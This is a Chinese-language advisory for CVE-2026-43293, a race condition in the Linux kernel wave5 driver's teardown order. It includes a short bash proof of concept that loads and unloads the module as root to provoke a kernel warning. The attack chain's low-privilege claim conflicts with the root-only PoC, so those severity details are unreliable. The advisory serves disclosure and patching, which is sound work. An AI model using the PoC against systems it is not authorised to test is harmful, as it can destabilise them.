CVE-2026-43293 CVSS 5.5 中危

CVE-2026-43293 Linux kernel wave5驱动竞态条件漏洞

披露日期: 2026-05-08

来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号

CVE-2026-43293

漏洞类型

竞态条件

CVSS评分

5.5 中危

攻击向量

本地 (AV:L)

认证要求

低权限 (PR:L)

用户交互

无需交互 (UI:N)

影响产品

Linux Kernel

漏洞概述

Linux内核中的chips-media wave5驱动程序存在一个安全漏洞。在轮询模式下，驱动程序使用hrtimer定期触发wave5_vpu_timer_callback()，并通过kthread_queue_work()将工作加入队列。由于清理顺序错误，原代码在取消hrtimer之前就调用了kthread_destroy_worker()，这创建了一个竞态条件窗口。在此窗口内，定时器可能触发并尝试向正在销毁的工作队列中添加新任务，导致内核触发WARNING警告，影响系统稳定性。

技术细节

该漏洞的根源在于模块移除时的资源释放顺序不当。在轮询模式（irq < 0）下，wave5驱动依赖高精度定时器来调度工作。kthread_destroy_worker()函数内部通过WARN_ON宏检查工作队列是否为空，如果不为空则会产生警告。原代码先销毁worker，再取消定时器。如果在worker销毁后、定时器取消前，定时器回调函数执行，它会尝试向已销毁的worker队列添加工作，从而触发警告。修复方案是将hrtimer_cancel()调用移至kthread_destroy_worker()之前，确保在销毁worker前定时器已停止且不再产生新工作。

攻击链分析

STEP 1

步骤1：本地访问

攻击者需要获取系统的本地低权限访问权限（AV:L/PR:L）。

STEP 2

步骤2：触发驱动加载

攻击者诱导或触发系统加载wave5驱动模块，并使其运行在轮询模式。

STEP 3

步骤3：触发竞态条件

攻击者触发驱动模块的卸载过程。由于代码逻辑错误，hrtimer在worker销毁前触发回调。

STEP 4

步骤4：拒绝服务

内核检测到非法操作并打印WARNING，可能耗尽系统资源或导致内核崩溃（A:H）。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

#!/bin/bash
# PoC for CVE-2026-43293: Triggering the race condition in wave5 driver
# This script attempts to load and unload the module to trigger the warning.
# Requires root privileges and the wave5 driver module file.

MODULE_NAME="wave5"

if [ "$EUID" -ne 0 ]; then
  echo "Please run as root"
  exit
fi

echo "[+] Loading $MODULE_NAME module..."
# Attempt to load the module (may require specific hardware/firmware)
insmod $MODULE_NAME.ko 2>/dev/null

if [ $? -eq 0 ]; then
    echo "[+] Module loaded. Unloading to trigger cleanup sequence..."
    # The vulnerability is triggered during the remove function
    rmmod $MODULE_NAME
    echo "[+] Check dmesg for WARNING: CPU: X PID: Y at kernel/kthread.c:1430"
else
    echo "[-] Failed to load module. Hardware or firmware might be missing."
fi

影响范围

Linux Kernel < commit 0c2e752688a0ee3b89993e6de6c496d863870c93

防御指南

临时缓解措施

限制非特权用户对内核模块的加载和卸载权限，避免在不稳定的环境中频繁加载和卸载受影响的wave5驱动模块。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表